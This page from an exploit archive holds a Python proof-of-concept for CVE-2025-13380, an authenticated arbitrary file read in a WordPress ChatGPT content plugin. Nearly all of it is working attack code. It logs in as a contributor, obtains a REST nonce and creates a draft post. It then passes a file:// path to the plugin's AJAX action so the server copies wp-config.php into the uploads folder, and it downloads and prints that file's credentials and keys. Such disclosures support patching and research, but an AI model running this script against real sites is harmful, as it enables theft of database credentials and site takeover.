4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-13380.py PY
# Exploit Title: AI Engine for WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - Authenticated (Contributor+) Arbitrary File Read
# Date: 11/16/2025
# Exploit Author: Ryan Kozak
# Vendor Homepage: https://wordpress.org/plugins/liquid-chatgpt
# Version: <= 1.0.1
# CVE : CVE-2025-13380

import requests
import re
import sys
import argparse
from urllib.parse import urljoin
from datetime import datetime

def main():
    parser = argparse.ArgumentParser(description='CVE-2025-13380 - AI Engine for WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - Authenticated (Contributor+) Arbitrary File Read')
    parser.add_argument('url', help='Target WordPress URL (e.g., http://example.com)')
    parser.add_argument('username', help='WordPress username')
    parser.add_argument('password', help='WordPress password')
    
    args = parser.parse_args()
    
    print(f"[+] Target: {args.url}")
    print(f"[+] Username: {args.username}")
    
    # Login to WordPress
    session = requests.Session()
    
    login_data = {
        'log': args.username,
        'pwd': args.password,
        'wp-submit': 'Log In',
        'redirect_to': urljoin(args.url, '/wp-admin/'),
        'testcookie': '1'
    }
    
    login_response = session.post(urljoin(args.url, '/wp-login.php'), data=login_data)
    
    # Get REST API nonce from admin page
    admin_url = urljoin(args.url, '/wp-admin/')
    response = session.get(admin_url)
    
    # Look for REST API nonce in various patterns
    nonce_match = re.search(r'wpApiSettings.*?"nonce":"([^"]+)"', response.text)
    if not nonce_match:
        nonce_match = re.search(r'"restUrl":"[^"]*","nonce":"([^"]+)"', response.text)
    if not nonce_match:
        nonce_match = re.search(r'wp\.rest\.nonce["\']?\s*[:=]\s*["\']([^"\']+)["\']', response.text)
    if not nonce_match:
        # Try post-new page
        post_new_url = urljoin(args.url, '/wp-admin/post-new.php')
        post_new_response = session.get(post_new_url)
        nonce_match = re.search(r'wpApiSettings.*?"nonce":"([^"]+)"', post_new_response.text)
    
    if not nonce_match:
        print("[-] Failed to get REST API nonce")
        sys.exit(1)
    
    nonce = nonce_match.group(1)
    print(f"[+] Nonce obtained: {nonce}")
    
    # Create post via REST API
    rest_url = urljoin(args.url, '/wp-json/wp/v2/posts')
    headers = {
        'X-WP-Nonce': nonce,
        'Content-Type': 'application/json'
    }
    
    post_data = {
        'title': 'Test Post',
        'content': 'Test Content',
        'status': 'draft'
    }
    
    response = session.post(rest_url, json=post_data, headers=headers)
    
    if response.status_code != 201:
        print(f"[-] Failed to create post (status: {response.status_code})")
        print(f"[-] Response: {response.text[:200]}")
        sys.exit(1)
    
    post_id = response.json()['id']
    print(f"[+] Post created with ID: {post_id}")
    
    # Exploit SSRF to read wp-config.php
    exploit_url = urljoin(args.url, '/wp-admin/admin-ajax.php')
    
    exploit_data = {
        'action': 'lqdai_update_post',
        'posts[post_id]': str(post_id),
        'posts[title]': 'Test',
        'posts[content]': 'Test',
        'posts[tags]': 'test',
        'posts[image]': 'file:///var/www/html/wp-config.php'
    }
    
    response = session.post(exploit_url, data=exploit_data)
    
    if response.status_code != 200:
        print("[-] Failed to exploit")
        sys.exit(1)
    
    print(f"[+] File written to uploads directory")
    
    # Retrieve the file
    # The filename is sanitize_file_name(parse_url('file:///var/www/html/wp-config.php')['path']) . '.jpg'
    # parse_url returns '/var/www/html/wp-config.php', sanitize_file_name removes slashes
    # So it becomes 'varwwwhtmlwp-config.php.jpg'
    year = datetime.now().year
    month = datetime.now().month
    filename = 'varwwwhtmlwp-config.php.jpg'
    file_url = urljoin(args.url, f'/wp-content/uploads/{year}/{month:02d}/{filename}')
    
    print(f"[+] Attempting to retrieve file from: {file_url}")
    response = session.get(file_url)
    
    if response.status_code == 200:
        print(f"[+] File retrieved successfully!")
        print(f"[+] wp-config.php contents:")
        print(response.text.strip())
    else:
        # Try previous month in case file was written earlier
        prev_month = month - 1 if month > 1 else 12
        prev_year = year if month > 1 else year - 1
        file_url = urljoin(args.url, f'/wp-content/uploads/{prev_year}/{prev_month:02d}/{filename}')
        print(f"[*] Trying previous month: {file_url}")
        response = session.get(file_url)
        
        if response.status_code == 200:
            print(f"[+] File retrieved successfully!")
            print(f"[+] wp-config.php contents:")
            print(response.text.strip())
        else:
            print(f"[-] Failed to retrieve file")
            print(f"[*] Tried: /wp-content/uploads/{year}/{month:02d}/{filename}")
            print(f"[*] Tried: /wp-content/uploads/{prev_year}/{prev_month:02d}/{filename}")
            print(f"[*] Response code: {response.status_code}")

if __name__ == "__main__":
    main()